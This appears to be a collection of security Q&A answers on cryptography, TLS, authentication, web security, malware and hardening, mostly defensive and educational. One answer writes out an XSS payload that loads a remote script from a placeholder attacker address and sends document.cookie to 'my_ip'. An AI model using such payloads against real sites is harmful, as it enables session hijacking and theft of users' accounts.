Can I ensure that a public key derived from a private key is unique?

You cannot speculate on unknown algorithms.

With RSA, you can make several public keys which are all functionally equivalent, in that they all correspond to the same private keys. Namely, if the public modulus n is the product of p and q, and the public exponent is e, then e'=e+k*lcm(p-1,q-1) will be another valid public exponent for the same modulus, and corresponding to the same private key, for any integer k ("lcm" is the Least Common Multiple). This allows you to compute an infinity of distinct public keys for one private key. (But it is not recommended at all to make more than one of these public keys public: combining two such keys reveals the private key quite easily.)

If you want unicity of public key, for some notion of unicity, then you have to arrange that yourself.


can anyone with valid ssl certificate do man in middle attack?

For you to be able to mount a MITM attack between A and B, you would need to have a valid certificate. This certificate needs a few things:

it must be signed by a CA trusted by A
it must be valid (various parameters, including valid time range)
it must have B's DNS name in the Subject's Common Name field, or Subject Alternative Names.

Without all three, the browser (or any other well behaving client) will refuse the connection.
It sounds like you have a certificate for an arbitrary DNS C. This would fail the third requirement, causing it to be rejected.
How to really do a MITM:
You would need to present A with a valid certificate issued to B.
For this to happen, you would need to do one of the following:

get around the CA checks and convince them that you really are B, issuing a valid certificate
have your own CA trusted by A (if you have access to my computer, you could add your own CA certificate to the list of trusted root CAs
break public key cryptography, allowing you to forge certificates


Is a 6 digit numerical password secure enough for online banking?

A 6 digit numerical password doesn't do much.

Why 6 Digits?

Troy Hunt has an excellent blog about being forced to create weak passwords where he talks about various bad practices including forcing short numerical passwords and puts forward the often used excuse that

  “We want to allow people to use the same password on the telephone keypad”

The only valid reason to require a numerical only password is that the only input available to a user is numerical (e.g. with ATMs); (similarly the only valid reason to require a human readable password is that a human will read it - which would be a very bad sign if it was used not just for telephone banking, but for the website too).

But if that is the reason, why on earth would they force you to use the same insecure pass code online (or on mobile), when you have access to a full qwerty keyboard?

How easy to brute force the way in?

There are 106 possible passwords consisting of 6 digits.

For an unskilled attacker, getting into your account is no problem at all if they have your username and unlimited attempts.  You should assume they have your username.  Usernames are not secrets.

Let's maybe assume the bank has thought of this, and locks each account after 3 bad tries, or perhaps initiates a robot-limiting option like a captcha to try again after that.  Then the attacker still has a 3/1000000 chance of getting in to a random account within that window.

That means if they attack 1000000 accounts, they can expect to get into 3.
And making 3000000 requests would not take very long at all.

Compare that to how many passwords there are with 6 alphanumeric characters (by most security standards, far too short, and not complex enough).

There are 626 = 56800235584 possible 6 character alphnumeric passwords.  That's still too weak but it's already 56800 times stronger!

Stored securely?

Needless to say, if the user database was breached, 106 possible passwords is ridiculously low entropy, and whatever hashing and salting system they've used, they can't keep your passcode secure.

Your bank's plan in the case of a database breach is presumably to roll over and cry.  Maybe they think the outcome is so bad they just aren't going to plan for it.

Assuming the other authentication method is secure, should I worry?

An attacker seeing your finance history is a really big issue; you should be worried even if the other authentication method blocking transfers is secure.  And you should not expect the other method to be secure.

How much other information is leaked about you without the 2nd authentication method?  Your name, address, email, maybe?

These are more than enough to start doing background research on you, to get additional info - these could be clues to your other password, or good strong information on how to phish you.  They might try calling you, using the information they have on you so far to gain your trust, pretending to be the bank, and trick you into revealing other secrets about yourself under a ruse that you need to authenticate to them by answering the last few questions they need in order to get into your account.

As another example, if the 2nd authentication method is a strong password, but you (and for most customers the "you" isn't tech savvy) but the customer happens to have ever been included in a database breach for another website where they used the same username/email and password, then its game over. - This logic applies to any username/password based system, but is particularly relevant in this case because the attacker is able to discover other information about you exposed by the first insecure authentication method, and because the 2nd password is now the only barrier to them taking your money - this is one reason why industry standard is to require a 2 factor authentication on banking websites before showing the user anything.

As for industry standards; my bank have an no max length password with the ability to take special characters, and then follow it up with a 2nd passcode which can only be entered by selecting some letters from a series of drop downs (so the entire 2nd passcode isn't used in a single attempt).

I'd prefer it if my bank used an out of band 2nd authentication factor; such as a code being sent to my phone.


It is always possible to be more paranoid, so you can shrink the list even more, depending on how worried you are. Basically:

Remove the DH_anon cipher suites: they don't authenticate the server, hence they are weak against MitM attacks.
Don't use RC4, since it has known biases.
Don't use 3DES because its short block size (8 bytes) makes it troublesome past the first few gigabytes of data.
Don't use any block cipher that works in CBC mode because CBC mode in the MAC-then-encrypt mode that SSL/TLS uses is hard to implement properly (see all the BEAST and Poodle attacks).
Always use a DHE or ECDHE cipher suite, to get forward secrecy.
Don't use SHA-1 if you want to look good with the panicking crowds that don't exactly understand what a collision based on differential path analysis is.

At that point, you end up with enforcing TLS 1.2 (and rejecting previous versions), and the following list:

TLS_DHE_DSS_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

Of course, this list will be further reduced, depending on the type of key contained in the server's certificate. If the key has type DSS, you can only use the first cipher suite. If it has type ECDSA, only the second applies. If, like 99.3% of the World, you use RSA for your certificate, you have the choice between the last two cipher suites; you will prefer the ECDHE one if you want to unleash your inner hipster.

In practice, the choice of SSL cipher suite is extremely unlikely to be the weak point through which compromise will occur. When attackers hijack your server, they won't do it by tackling with the crypto upfront. So don't overthink it. Be aware that most of your efforts at pruning the list of cipher suites are really meant to appease finicky auditors and worried managers, so the important operational question is not "what will ensure maximum security ?" but "what will induce the strongest feeling of security ?".


A link redirect to http instead of https: how critical is it?

If your website is purely static and doesn't contain any login or sensitive data, then the risk on a technical level is likely low, and may not warrant an out of cycle fix.

On the other hand there's a risk to reputation. If your business relies on a reputation of being "secure" then it may look bad to potential customers/clients that you aren't following best practices (https everywhere).

EDIT: As per Jason Ross' answer I should also mention that leaking credentials through cookies is possible when a user visits the insecure website, and has logged into a web app on the same domain and the cookies were also improperly set (missing SECURE bit)


So assuming here that the database is only intended to be accessible by the ASP code and not clients of the web application a better alternative to keeping the database in a "random" directory under the web root, would be to keep the database outside of the webroot altogether.  That way it would not be possible for an attacker to directly address the database via the website (without another security issue allowing them to).

If you're intending website clients to directly download or access the MDB file, hiding the database may not be a very  robust control. An attacker may be able to find the location by watching the traffic of other clients or by finding a reference to it in other parts of the site.

A more robust alternative here would be to restrict access to the database to authenticated users only.  Even if you've not got a full membership system set-up for your site, you could use something like HTTP digest authentication to restrict user access.  On its own that's not a perfect solution, but it's bettern than relying solely on an attacker not finding a URL.


If x86 architecture has overflow flag in the CPU, then why can't we use it to detect integer overflows in C binaries?

First, this is not an OS question but more of a compiler one. OS can only execute binary programs that contain machine instructions and that can (if they were instructed to) test the overflow flag.

So a part of the question is (IMHO): Why does not the C compilers allow to test the overflow flag?

The reason is that the language is supposed to accept (almost) any platform, and Kernighan&Ritchie decided that it would be too complex to allow to test the overflow flag from a C language program when they first designed the languages in the 1970's.

That is not really a nice gift for the programmers, because they have to use hacks to be able to know whether an operation generated an unwanted overflow (commonly test if the sign is not the expected one) without the semantics being defined in the language...

Once this is said, let us go to your questions:

why aren't operating systems using this overflow flag to stop integer overflows?

Because many programs generate overflow without errors, provided they correctly test it. They can test is either directly with assembly language, or indirectly by testing the range of the result.
what is the usage of this overflow flag then?

It is implemented at the CPU level and can be used by assembly language routines.
how does the CPU know whether we used int x or unsigned x in our program? If it doesn't then how can this flag know about any overflow? (if it only sees whether the addition of two values has become more than 32 bit, then wouldn't we only need the carry bit to tell if the addition could fit in one register or not?)

It just does not. For the addition, the instruction set reference says:

  The ADD instruction performs integer addition. It evaluates the result for both signed and unsigned integer operands and sets the CF and OF flags to indicate a carry (overflow) in the signed or unsigned result, respectively. The SF flag indicates the sign of the signed result.

That means that it is up to the (assembly language) programmers to know whether they wanted signed or unsigned operations and to test the appropriate flag.


Can a wireless headphone (bluetooth) contain malware?

Yes, but very unlikely.

A bluetooth headset has a microcontroller, EEPROM with firmware, audio circuitry and bluetooth chip (which is itself a microcontroller with its own, distinct firmware implementing the bluetooth stack); I'm pretty sure there are manufacturers that combine all of these elements on a single physical chip.

If you can find a vulnerability in the microcontroller's firmware and make it execute arbitrary code, you can write to its memory and overwrite its firmware with your own malicious version.

From the point of view of a malicious attacker, that would need to either compromise the device that's currently connected to the headset in order to compromise the headset later on, or to get physical access to the headset to tamper with it (via bluetooth by forcing it to connect to an attacker-controlled device that will exploit the headset, or directly via USB if the headset has such a port and its data pins are actually connected to the microcontroller).

The big question is, what does that give you ?

There isn't enough memory on the device to record calls for later retrieval (and that retrieval would also need physical access to the device later), so that idea is toast.

There isn't an easy way of streaming call audio to a different device, it may be possible if you manage to reimplement the bluetooth stack with some custom version that allows communicating with two devices simultaneously, the phone and your other device that will receive the data; plus you'll need to be relatively close to the device to communicate with it, especially since these headsets don't have a very powerful antenna.

The only way to compromise a computer or phone would be to know a vulnerability in that computer's bluetooth stack allowing arbitrary code execution, and then make your headset exploiting that vulnerability when connecting to the computer/phone.

In my opinion, all these attacks require some kind of physical access, and if we have physical access we can pull them off way easier by compromising the targeted machines directly (malware or just hardware keyloggers/microphones/other dark side spy device) rather than wasting our time with the headset.


Security logs on Linux, Solaris and Windows

This is a mind-blowingly huge question.  What you need to log is business specific need.  Typically, you want to log administrative logins and changes.  But still that is pretty basic.   What you need is a better understanding from the people who drive you organization on what systems are important.  A good business continuity plan with some risk assessments will drive you far.

I am realistic, and I know that getting that is probably a non-starter.  So can I offer this, if you are trying to tune your SIEM product, don't just slam everything in there at once.  Pick something, like Network Switches and get those sending logs and tuned up before you move onto the next thing, say Domain Controllers.

You want your SIEM to only be notifying you of a problem, if you are inundated with 400 alerts per day, your SIEM tool is almost worthless and you should've just deployed a syslog server and saved a bunch of cash.


Securely transferring files back and forth between company and clients

Typically client portals (secured with HTTPS) are the recommended best practice for exchanging documents. If your current solution is kludgy and maintaining different access for different clients is cumbersome, there are some canned document sharing portals available (some even free, though specific product recommendations are off topic here) that have the notion of maintaining separate "sites" for each user.

I would investigate what aspects of your current solution make it problematic and then correct them, or look for a product that addresses those issues already.


With ASIC bitcoin miners, should SHA256 be considered insecure for password hashing?

Ability to compute a lot of hashes very fast with dedicated hardware is a problem for password hashes, but not a new problem. Before the advent of ASIC specialized in SHA-256, we were already taking FPGA into account (see for instance this research machine, from already five years ago). An ASIC can roughly be clocked at two to three times the frequency of the equivalent FPGA; mass production further lowers costs. This does not qualitatively changes the situation, but it sure gives a boost to the attacker, something like, say, 3 bits or entropy.

Of course, a simple SHA-256 for password hashing is not a good idea; it is way too fast even when the attacker has "only" classic PC; I assume we are talking here about PBKDF2, a construction for slow hashing which relies on an underlying PRF, usually HMAC, which itself is built over a hash function such as SHA-256.

Theory already says that, all other things being equal, password hashing should use the underlying hash function that is most efficient on the hardware which will process it in the "honest system", i.e. a PC. That's the point of hashing functions such as bcrypt or scrypt. If you want to stick to PBKDF2, using SHA-512 would be a good idea, because SHA-512 uses a lot of 64-bit arithmetic operations, something which a modern PC is very good at, but which GPU suck at. ASIC specialized in SHA-256 do not change that recommendation.


What threat does the 1Password Browser authentication mitigate?

It's to prevent a second user logged into the same machine simultaneously with you, from asking your open password manager for login credentials by pretending to be a browser extension owned by you. Source: https://discussions.agilebits.com/discussion/70301/background-for-4-6-1-security-changes

This vulnerability was found by Tavis Ormandy of Google's Project Zero team, along with vulnerabilities in multiple other common password managers (some more severe).


How to properly implement TLS on an ejabbered server

On the connection, the server will send only the certificate (the public part). However, the server needs both the public and the private key to work. The server code expects to find both object in the same file (in the file, both are encoded in Base64 with explicit PEM headers like "BEGIN CERTIFICATE" and "BEGIN PRIVATE KEY", so the server code has no trouble finding out the certificate and the private key).

If unsure, run some network monitor software like Wireshark to see what is actually sent on the wire (observing in details a TLS handshake is a very good pedagogical experience which is highly recommended anyway).


What the **** happened here??? I read that WhatsApp usually bans numbers reported for spam. She definitely did not spam anyone ever. In fact this was a secondary number she used very rarely with other people. Could it be that someone somehow used her number and sent spam so quickly the number was banned within 5 minutes?

There are many reasons she could have been banned. Mainly any violation of whatsapp terms of use policy can result in a ban. see here. Also, here is a short extract of a post from indiatoday

  As per the WhatsApp guidelines, WhatsApp only sends out this message
  to its users when the basic code of conduct is violated by the user.
  What is this violation? WhatsApp bans accounts when a user sends
  obscene, defamatory and threatening messages to another user. However,
  it is entirely on WhatsApp to decide what it constitutes obscene,
  defamatory and threatening message.

  Users are also banned when they promote violence on the app or create
  a fake account of someone. Another way one can get banned on WhatsApp
  is by sending too many messages to users, who are not added to his
  contact list. This may seem like a trivial issue but more often people
  have complained of getting messages from unknown people and that can
  be really bothersome at times. Basically, if you are spamming from
  your number, you may get banned. These bans are often permanent.

Moving on

  The only way for someone to use her number on WhatsApp is to have access to the verification SMS. I thought this could have been a SIM swap attack, but her SIM card is still usable as normal. Wouldn't a SIM swap result in her card being dead? (and no, she did not receive any verification SMS before this happened. And she knows enough not to give the code to anyone anyway)

Have you considered spywares or trojans on her phone? Also you can duplicate sim without disabling the first sim using MultiSim. This depends on your service provider. Furthermore, SMS was never secure in the first place. See here

  Or could it be that they've been using her number for a while and been
  sending spam for a while? Unlikely, as far as I know WhatsApp only
  allows 1 device to be logged in at any time.

It is possible.

Suppose Malicious Bob had access to Alice phone at one point in time and decided to log in to whatsapp web with Alice phone
Suppose Alice decided to log in to whatsapp web on someone else PC and forgot to log out and Bob found that computer
Suppose Bob found the whatsapp public master key of Alice and decides to send text on behalf of Alice. It should be possible. You can reference such attacks here

  How worried should we be? What data does this "hacker" have? I'm
  really concerned about the possibility of #3, if it meant that this
  adversary could have had access to all our messages for an unknown
  time span.

Probably very.

How much he has depends.

Suppose bob has a trojan on Alice. Then he probably has access to everything on the phone.
Suppose bob has a whatsapp web connection of Alice then he has access to all her whatsapp conversation
Suppose bob is just spoofing Alice number then really not that much to worry. He just spoofing her no data breach. Hopefully nothing done illegally though

Probably more possible cases but you get that the question is generic and dependent on the cause of the breach which is unknown as of now.

  Any mitigation steps we need to take? I've already removed the number
  from all shared groups and she has emailed WhatsApp support, if that
  does anything.

Once again depends on the cause of breach.

I'd be more worried about trojan or multisim so

factory reset the phone
enquire with your service provider as well
ensure no logins on whatsapp web services.
Also i'd check if alice phone is being synchronized or backed up to any remote server since it is a possible point of entry.


Is an outbound firewall connection 'safer' than an inbound

Allowing an inbound connection means opening up a port on your firewall and having a network service listening on that port 24/7 and that creates risk.  If you are the client, you reach out to a remote network listener and pull the data back.  You don't have that 24/7 risk.

There are some things you can do to lower the risk like IP-whitelisting and monitoring, but it doesn't reduce the risk to zero.

In general, I advise people to make the higher security zone the client.  If one side of the connection is more sensitive to you, pull from there.  Increase the risk in the zone that's less valuable.


Were PGP/MIME and PGP/Inline equally affected by EFAIL?

Efail is independent of which protocol (Either form of PGP or S/MIME) is used.  It's a matter of what the client does with different blocks within the message body once they have been decrypted.

So if you use Inline PGP by cutting and pasting into an external program instead of something integrated into your email client, you are safe.  In principle you could also take PGP/MIME or S/MIME encrypted blocks extract them from an email and run them through an external decryption program as well, and that would be safe from EFail as well.  It's just not as common a usage as with Inline PGP.

If you are using an email client with built in support for PGP or S/MIME, then it's all about how the client displays messages.  If it displays images, loads scripts, etc, and doesn't sandbox blocks within the message from one another, then Efail is a possibility regardless of the encrypted email system used.

Now, a specific client may differ in how it handles messages depending on the encryption protocol so that it's vulnerable or not depending on the protocol, but that's a property of that client, not of the protocol.


Is Clickjacking a real security vulnerability?

This is a very interesting question.

First of all, let's start with your scenario: A user visiting website www.evil.com which is a reverse proxy that loads www.good.com and modifies its content. Congratulations! You've just re-invented a classic MiTM attack, but a very poor one. Visiting evil.com means that your browser won't send good.com cookies, which means that your reverse proxy won't be able to act on behalf of the user. To fix this, now you'll have to trick the user into logging in to your reverse proxy with his good.com. Congratulations! You've re-invented an attack with a fake landing page.

The scenario you're describing has nothing to do with clickjacking, and we actually employ clickjacking protection for a very different reason: With clickjacking, an attacker would trick an authenticated user into performing some action. Even if the user is visiting evil.com, unlike your proposed scenario with a reverse proxy, his request is still sent to good.com along with the cookies containing his session ID. Thus, the action will be performed within the authenticated user's session.

Does that sound familiar? Yes it does, because that's how a CSRF attack works, but the only difference is that, with CSRF, the action is performed programatically.. except for one little thing: Clickjacking defeats anti-CSRF mechanisms. With clickjacking, the action is performed within the user's browser, by the user himself, and inside the legitimate page (loaded within iFrame).

So, in short: Your proposed attack is indeed plausible, but we use anti-clickjacking to defeat completely different attacks. For that, yes, clickjacking is indeed a real, distinct security concern.


What are the implications of using OAUTH? Do the positives outweigh the negatives?

Using OAUTH and 2 factor auth is the best way to go in my opinion. Your main account is protected and the other sites just serve up an authentication token to verify against. If the token becomes compromised the rest of your accounts are still safe, just the one token needs to get revoked.

Also if youre not using 2fa and your password gets compromised you dont have to go change your passwords on all accounts. A password change on your main account SHOULD revoke all other tokens currently issued. All your other accounts are now safe.


Do you mean you want to get sample malware?
According to the book Advanced Malware Analysis, there are a few public resource to get those like:

malshare.com
Open Malware (http://gtisc.gatech.edu/)
malwareblacklist.com

You can find out more in that book.


Outsourced software development ISO27002 definition

The intention of section (14.2.7) in 2014, (12.5.5) in 2005, have always referred to bespoke software development.

When I participated in the Swedish translation of ISO27002:2005 the question was never raised as to whether it might also apply to COTS-software.

However. Even though the intention of the section is to ensure a somewhat qualitative software development practice there is nothing, obviously, preventing the use and adaptation of this to apply also to regular software.

Many of these practices could be generalised and used as a part of a quality measurement of the organisation from which you intend on purchasing the COTS-software.


Can IMSI catchers detect encrypted communications?

Yes they can because they can read any datastream they capture. They cannot necessarily decrypt it.

So the agent with the IMSI catcher knows that there is an encrypted communication, but he cannot get the plain text (in general).


why use a CA-signed key pair to encrypt SAML2 assertions?

I agree that self-signed certificates are sufficient, but the CA approach does add some incremental security in how that trust relationship is maintained, especially when you consider the rollover scenario.

Imagine this scenario:

OJones@sp.com sends a public key to TSmith@idp.com and the relationship is established
Two years later, TSmith@idp.com receives an email from GStevens@sp.com which says "I now manage the SAML configuration previously managed by OJones. Here is a new public key to replace the one that's expiring soon"

How do they know that GStevens is authorized to do this? If both old & new certificates are CA-signed, they can examine the properties and verify it was issued to the right organization. Some systems are also configured to trust based on CA issuer and properties.

This assumes, of course, that the SP organization has good control over its CA process.

It also assumes the public keys are being exchanged "out of band". Automatic metadata processing changes the risk calculations.


Measures to secure websockets for non-browser clients

Can any of these issues be ignored when building a websocket
  application that works outside browsers?

Your usage of websocket communication in a non "sandboxed browser" setting means that you don't need to worry about the shortcomings of browsers, but you are now in more control of where the data coming up/down the websocket connection is going, and also what the user is able to do with that data. This makes you vulnerable to the same variety of exploits that any TCP or HTTP connection are susceptible to. In summary, the application you are using the websocket protocol under doesn't effect the security of the protocol itself.


Which public-domain encryption framework to use with .NET

Bouncy Castle is pretty well known and used in a fair number of production apps. I came across it myself a few times when I worked as a C# developer. However, most of the implementations in there simply piggyback off the .NET framework implementations anyway. The added value that they're selling is additional cryptographic primitives that .NET doesn't provide, and more convenient / simplified interfaces for people who don't understand how to use cryptography. However, it does have flaws and shouldn't be relied on for anything critical. It's also, to my knowledge, ever been formally reviewed by cryptographers.

That said, you should definitely use the .NET framework stuff, rather than rolling your own implementations. For a large part, it's just a managed wrapper around the underlying CAPI or CNG implementations in the operating system, so it's as trustworthy as the OS.  The bits that aren't wrappers are explicitly named Managed, e.g. SHA1Managed. If you don't trust the CAPI or CNG implementations, then you shouldn't trust the rest of the OS, and your problem becomes moot anyway.

Even better, the .NET framework is shared-source. You can go review the reference source at at any time. There are plugins for Visual Studio (e.g. ReSharper) that let you right click any .NET type and jump to the source, and it'll automatically download the appropriate reference source files for your viewing. It's pretty awesome, and has helped me solve loads of bugs over the years.

So yeah, tl;dr is that the .NET framework implementations are solid, so use them. BC is also useful, but then you're adding bloat and potential licensing issues, so if you can get by without it then do so.


How to properly protect /home with separate user accounts on Linux

If you gave the program root access, you can't prevent it from accessing your account.

(By “root access”, I mean “the highest level of privileges”. It's possible to run programs as the user root without granting them the highest level of privileges, through security frameworks such as SELinux. However, to get actual protection, you'd have to run the package manager with restricted privileges, in a way that doesn't let it escalate its privileges by e.g. creating a setuid binary or a cron job. I think this is possible, but it would be very hard to set up and I'm not aware of an existing framework that does this.)

To really isolate the program (including its installation scripts), you should install and run it in a virtual environment. If the program doesn't need to access hardware directly and doesn't need to squeeze out top CPU performance, run it in a virtual machine. If that's not feasible, run the program in a container, which creates a virtual userland environment on the same kernel as your main environment. Since the program is running on top of the same kernel, its performance is not affected by running in a container, and the container has access to any device you choose to let it access. A program running as root in a container is only root inside the container, and cannot access files that are not shared with the container. Docker is a popular software to manage and distribute containers.


As you said, most drivers run in kernel mode, so they have access to all the interesting stuff and can easily hide from debuggers.

There are more reasons which makes drivers an interesting place:

There is a huge amount of device drivers, and vendors provide new versions of drivers that differ from the version included in the operating system. So unlike core parts of the operating system, it is not easy to manage a database with hashes of known good files.
There are standard tools and documentation for developing drivers. So this is a lot easier than directly patching kernel memory or replacing the boot loader.
Direct memory access in a device driver is not suspicious.
Some drivers are loaded early during the boot process, so they can apply their magic before a virus scanner is loaded. So the virus scanner only sees, what the rootkit wants it to see.


It depends a lot on the specific case. If you are really sure you know where all the mail being sent is coming from, and that you’ve set up SPF & DKIM appropriately, then you might go directly to p=reject or p=quarantine.

The safer course is to do a staged roll-out, e.g.:

p=none with rua and/or ruf set (there are tools like Dmarcian that you can use to help process the reports you get). Do this to make sure that everything that’s going to fail should actually fail, or fix things that you spot that you hadn’t thought about.
p=quarantine with a low percentage just to check that things are ok in practice - if you get lots of issues, then at least it’s (a) likely available in the recipient’s quarantine, and (b) only a small amount of the mail
p=quarantine with 100%, maybe with other steps in between. You might stop here.
p=reject, again maybe doing percentage steps, if you’re completely certain that failing mail should never be read by the recipient.

One thing to consider when deciding between quarantine and reject is that failures can be out of your control. For example, if someone is forwarding mail, then it’s likely there’s going to be an SPF failure (particularly if it’s not well set up) but the recipient probably does actually want the email. Similarly, if there’s something in the chain that mucks about with the message (often the subject) then there may be a DKIM failure but it’s still a legitimate message.

If you really want to say “the mail comes directly from me to you”, then reject is likely where you want to get to. If you’re ok with “the mail comes directly from me to you, and if you muck about with that then it may end up in your quarantine”, then quarantine is a better end point.


Are CSRF tokens useful outside of web APIs?

You seem to misunderstand both the same-origin policy and CSRF.

The same-origin policy is crucial for any kind of browser security. It makes sure that client-side scripts from one website cannot access information from another site. Without this, we'd have much bigger problems than CSRF: Any website could read our e-mails with our webmail account (while we're logged in), make transactions with our PayPal account, buy products with our shop accounts etc.

So we have to rely on the same-origin policy. If it breaks down, we essentially lose all security, including the CSRF protection.

However, the same-origin policy alone isn't enough. An HTML form may very well point to a different site, so I could prepare a form on my site, use your site as the target and then wait for one of your users to submit the data. If you only check the session ID of the submitter and then accept the request, I've successfully performed a CSRF attack.

That's why we need anti-CSRF tokens: To prevent other websites from “forging” requests, we can, for example, establish a shared secret with the user and only accept form submissions which include this secret. Since the same-origin policy prevents other websites from reading this token, it's no longer possible for them to create a valid form. They don't know what to put into the token parameter.

In the context of web APIs, CSRF is generally not an issue. Automated clients usually send specific requests to specific URLs, so there's no way for an external website to jump in and trigger malicious requests. Maybe you're confusing CSRF tokens with authentication tokens? Those are two entirely different things.


As far as I can tell, there are two issues here:

modern browsers will not fetch mixed active content (ie JavaScript served via HTTP when the site is HTTPS).
you can't include a HTML file as a script (because it doesn't contain valid JavaScript code).

So what you want to do is include a JavaScript - not an HTML - file in your XSS payload via HTTPS. Or you could just use the actual payload directly instead of fetching the script first. So your XSS payload should be either of these:

Fetch script:

<!-- note the .js instead of .html;
     the JS file would then contain JS code (not HTML code)
      and do something malicious
 -->
<script src="https://My_ip/index.js"></script>

Direct:

<!-- here, HTTP is OK because it's just a redirect, not loading scripts -->
<script>
document.location='http://my_ip/write.php?c='+document.cookie;
</script>


App stores (both Google and Apple), ISPs, and Open Whisper Systems could probably all identify Signal users if legal compelled / hacked. Not sure who could legally acquire this information, and the value / quality of it (downloading an app is not the same as using the app). If you want something where you can blend into the crowd more, try WhatsApp; it's the same protocol. Though WhatsApp likely store more meta-data. Ricochet, if used properly, can be very difficult to attribute, but is far less convenient.


Asking for Password After Email Validation?

From a security standpoint, I can't see any problem with this flow. It actually may be more secure than requesting user details and then verifying the email address. A user could enter an incorrect email address end end up giving access to their account to a random third party. In your scenario, there is no account to access.

You will have the possibility of someone enumerating existing users email addresses by repeatedly entering email address on the registration page and looking for error messages, but that would also be possible in a traditional 'email and password together' flow. Provided you put some sort of rate limit or captcha on that page, you should be fine.

You may loose a few user signups from this flow, there will always be users who never bother to complete the extra signup step. Depending on what service you are offering, this could be more or less likely.


What governing body is responsible for the use of GSM SMS alphanumeric SenderID's?

who is the governing body responsible?

I've been out of the industry for a few years, but I'd be surprised if anything has changed since I worked there. There is no formal constraints on the content of the sender id, it's really very much up to the Telco. In the UK Ofcom extended their recommendations to providers,

(you can read the ofcom stuff here - it's mostly about witholding caller information rather than obscuring is falsifying it).


Is it safe to invoke PHP GD functions if you don't know whether file is a valid image?

It is better to validate the input as much as you can before trying to process it; this stackoverflow post lists several methods, of which the finfo method appears to address @Polynomial's legitimate advocacy for the devil.

That being said, there are various format attacks against image processing libraries, but they mostly start with a valid image file.  Libraries like GD will generally open up the file and bail out of it doesn't look like a valid image file, so in order to break them, you need a file that's legitimate right up until it violates spec in a way that the parser breaks instead of rejecting it.  So validating input helps avoid accidental and stupidity-based bad inputs, but don't overestimate it's effectiveness against the malicious attacker.


Logout on OIDC Provider Refresh Token validity in comparison to OAuth

From OIDC back-channel logout draft 06:

2.7.  Back-Channel Logout Actions
Refresh tokens issued without the offline_access property to a
session being logged out SHOULD be revoked. Refresh tokens issued with
the offline_access property normally SHOULD NOT be revoked. NOTE: An
open issue for the specification is whether to define an additional
optional parameter in the logout token, probably as a value in the
event-specific parameters JSON object, that explicitly signals that
offline_access refresh tokens are also to be revoked.

...and a reminder about the difference between back-channel and front-channel logout. Back-channel is:

a logout mechanism that uses direct
back-channel communication between the OP and RPs being logged out;
this differs from front-channel logout mechanisms, which communicate
logout requests from the OP to RPs via the User Agent.

The revocation of the refresh token is not mentioned in any other session management/logout drafts: front-channel logout draft 04, session management draft 30 or RP-initiated logout draft 01. Given that these are drafts and not approved RFCs, the implementations can choose to comply or not comply with the language.
From a real-world perspective, we agree with the wording in back-channel logout draft. It makes sense for refresh token to be revoked unless it was explicitly acquired for offline use. Hopefully the same perspective and language are incorporated in future front-channel and RP-initiated drafts.


Security risks of using ffmpeg as part of web service

Yes there are security risks, especially if you allow arbitrary formats. FFmpeg supports a huge variety of formats, both popular and obscure, for video, audio, and images. Any vulnerability in decoders for any of the numerous formats could be exploited to gain arbitrary code execution. This becomes even more likely given the fact that FFmpeg is written in C, which is not memory safe, and is optimized for speed instead of security. You must assume any untrusted input passed to FFmpeg can be used to gain full arbitrary code execution in the context of the running process and build your threat model around that.
There are a few things you can do to mitigate potential risks in addition to hardening Docker:

Seccomp sandboxing - Enable seccomp in Docker to limit the syscalls that can be made. A syscall, or system call, is the interface used by userspace to communicate with the kernel. Certain syscalls are complex and can be insecure, opening up bugs in the kernel to exploitation.

Formats/codecs - Disable unused decoders to reduce the attack surface area of the decoder. Many formats, or formats with obscure features, have low-quality decoders that are not regularly checked for bugs. While the Opus decoder is likely of acceptable quality, what about G.726?

Resource limits - Restrict resources that any given FFmpeg process can use. Resources can not only be used to DoS the system, but can be necessary to exploit other vulnerabilities to elevate privileges, for example certain kinds of integer overflows that require large memory allocations.

Mandatory Access Controls - Use a MAC like AppArmor or SELinux to restrict accesses and protect sensitive objects, even in the case of a Docker breakout. You can also use a MAC to limit network connections, since there is no reason FFmpeg should upload or download data.

Compiler hardening - Use hardening when building FFmpeg, or download a hardened version. Compiler hardening like PIE, SSP, and FORTIFY_SOURCE can make vulnerabilities harder to exploit. PIE is especially important, as it allows the operating system to make full use of ASLR.


Cmd traceroute not being affected by VPN configuration

An application must be specifically support the use of a SOCKS proxy. Web browsers usually do, while most other applications usually do not. There are some ways to "socksify" other applications but details depend on the OS and maybe the application too.

Apart from that SOCKS5 supports only tunneling of TCP and UDP. traceroute and tracert often default to use of ICMP which can not be tunneled with SOCKS5.


But in what scenarios is this really used ?

Everywhere. Otherwise if you visited my website example.com I would be able to read your Gmail if you were logged in at the time from the same browser.

  the scripts won't be subject to SOP as they belong to my website's origin.

Correct: They won't be subject to any restrictions by the SOP.

  If they try to include other scripts, then those scripts will be subject to SOP (won't be able to access my page's resources: DOM, cookies etc.).

Not true. If those scripts include other scripts (e.g. a document.write of a script tag - <script src="https://example.edu/foo.js"></script>) then those scripts will be under your website's origin too. If you include another domain's scripts under your own site, then you are giving full access to your origin to that domain.

  SOP is also used to prevent cross-domain AJAX requests.

Not true. The SOP does not stop a cross-domain AJAX request from being made - it simply stops it from being read.

  Other than the above, is there any other scenario where SOP is applicable ?

Yes, for example the SOP prevents frames, IFrames and windows from cross communicating across domains. Check out MDN for a full explanation of the SOP.


I'm not aware of anything exactly like what you're looking for.  Some close misses:

SMSterm provides a terminal-over-SMS, but with 'minimal authentication'.  Free, but looks comatose (last updated 2002, no home page)
Ales-U provides commands over SMTP with some mumbling about 'secure method'. Not free, and swinging a big Patent stick, not the most attractive mating behavior.

I haven't played with either, BTW, that's just a little Google and the like.

I will suggest the following thoughts as regards your question #2:

Think SMTP.  Any SMS-space solution going to servers is probably going to involve an SMS-to-SMTP gateway, and a solution designed for SMTP will probably work for you as well.

Size matters.  SMS messages are short, so if you're signing or encrypting your commands, it's going to take several messages to get them to the server.  The server will need to reconstruct the entire message.  This is a disadvantage.

Swimming upstream.  Most SMS security-related messages go server-to-client, not client-to-server.  In essence, that's because it's harder for someone to intercept messages sent to your phone than it is for them to forge messages from your phone.  So the key-based encryption you suggest is necessary, but see my previous point about the problems it causes.  And you'll find less solutions because everyone else is swimming the other way.

Port knocking is rare.  If you're looking for a solution that does port knocking, you're fishing for a pretty rare species.  If you look for a solution that permits authenticated remote commands, you might have better luck.

